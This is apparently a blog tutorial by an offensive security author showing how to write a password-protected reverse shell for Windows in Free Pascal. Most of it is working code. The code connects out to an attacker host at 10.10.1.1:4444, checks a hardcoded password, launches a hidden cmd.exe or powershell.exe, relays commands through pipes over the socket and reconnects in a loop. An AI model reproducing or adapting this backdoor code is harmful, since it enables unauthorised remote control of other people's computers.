Reverse Shell with password protection


image

we are going to use socket module with free pascal as coding language. our goal is to execute cmd commands through socket connection by protecting our access with a password.


Coding Connection Function.


function connection(Address : string; port : Integer) : Integer;
var
sinsock : TSocket;
SockAddrIn : TSockAddrIn;
hostent : PHostEnt;
begin
disconnect(sinsock);
sinsock := Winsock.socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(Port);
SockAddrIn.sin_addr.s_addr := inet_addr(StringToPAnsiChar(address));
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(StringToPAnsiChar(Address));
if HostEnt = nil then
begin
result := SOCKET_ERROR;
Exit;
end;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end; //CHANGE MADE
if Winsock.Connect(sinSock, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR Then
result := SOCKET_ERROR
else
result := sinsock;
end;

the above function will be responsible for using win sock to establish reverse connect request into attacker host.

the code function

so our connection is ready, let's prepare out socket calling and specific codes to

WSAStartup($101, WSA);

in our reverse shell, we are willing to use cmd.exe or powershell.exe as one should be included on socket transmission. so we have to handle memory correctly to avoid access violations exception while executing cmd commands inside the socket.

FillMemory( @StartupInfo, sizeof( StartupInfo ), 0 );
FillMemory( @ProcessInfo, sizeof( ProcessInfo ), 0 );

Protect our access with password

accomplishing this by following code below

while (1=1) Do begin
revsock := connection(StringToPAnsiChar('10.10.1.1'), 4444); //connect

if revsock <> SOCKET_ERROR Then Connected := True;
while (Loggedin = False) and (Connected = True) Do begin //Login Loop
if SendString(revsock, 'LLogin: ') < 1 then Connected := False;
strrecv := RecvLn(revsock, #$A); //Waiting in blocking mode
if strrecv = '0xsp' then begin //password string
LoggedIn := True;

SendString(revsock,'PASCAL SHELL');

but of course another condition loop should implemented after the execution of main function of code

* 1
* 2

Creation of Pipes


//Create our Pipes
CreatePipe(PipeInputRead, PipeInputWrite, @SecurityAttr, 0);
CreatePipe(PipeOutputRead, PipeOutputWrite, @SecurityAttr, 0);


Creation of Process stuff


FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(SecurityAttr, SizeOf(TSecurityAttributes), 0);
SecurityAttr.nLength := SizeOf(SecurityAttr);
SecurityAttr.bInheritHandle := true;
SecurityAttr.lpSecurityDescriptor := nil;
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb:=SizeOf(StartupInfo);
StartupInfo.hStdInput := PipeInputRead;
StartupInfo.hStdOutput := PipeOutputWrite;
StartupInfo.hStdError := PipeOutputWrite;
StartupInfo.wShowWindow := sw_Hide;
StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

//create new hidden cmd window with our pipes
nameofexetuable:= 'cmd.exe'; // or powershell.exe
UniqueString(nameofexetuable);
CreateProcess(nil, PChar(nameofexetuable), nil, nil, True,CREATE_NEW_CONSOLE , nil, nil, StartupInfo, ProcessInfo);
CloseHandle(PipeInputRead);
CloseHandle(PipeOutputWrite);
//non blocking mode for pipe
Mode := PIPE_NOWAIT;
SetNamedPipeHandleState(PipeOutputRead, Mode , nil, nil);
//non blocking mode for socket
Nonblocking := 1;
ioctlsocket(revsock, FIONBIO, Longint(Nonblocking));

also please make sure to identify the following on variable section with related type .

StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
SecurityAttr: TSecurityAttributes;
PipeOutputRead: THandle;
PipeOutputWrite: THandle;
PipeInputRead: THandle;
PipeInputWrite: THandle;

finalizing loops and execution assurance

the following code will be responsible for password validation and checking ,transmitting (read,write) sock from pipe .


while Connected Do begin
GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
if ExitCode <> STILL_ACTIVE then Break;//cmd still running?
Sleep(50);
repeat
FillChar(buffer, BUFFER_SIZE, #0);
ReadFile(PipeOutputRead, Buffer, BUFFER_SIZE, br, nil);
if br > 0 Then SendBuf(revsock, buffer, br);
until br < BUFFER_SIZE; //read from pipe, send to socket

Sleep(50);
repeat
FillChar(buffer, BUFFER_SIZE, #0);
br2 := RecvBuf(revsock, buffer, BUFFER_SIZE);
if br2 = SOCKET_ERROR Then Connected := False;
if br2 > 0 then begin
//here you could filter the input, to add your own commands
WriteFile(PipeInputWrite, buffer, br2,br, nil);
end;
until br2 < BUFFER_SIZE; //read from socket, send to byte
end;
LoggedIn := False; //fixup in the end
TerminateProcess(ProcessInfo.hProcess,0);
CloseHandle(PipeInputWrite);
CloseHandle(PipeOutputRead);
Disconnect(revsock);
Sleep(1000); //wait one second befor try to reconnect
end;

so not all code is released , there are related units should be called during , but the idea is to implement password for your shell .


Lawrence Amer
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects
CONTACT ME

Contents
-
subscribe

To stay informed with all the news, please subscribe!

Thanks!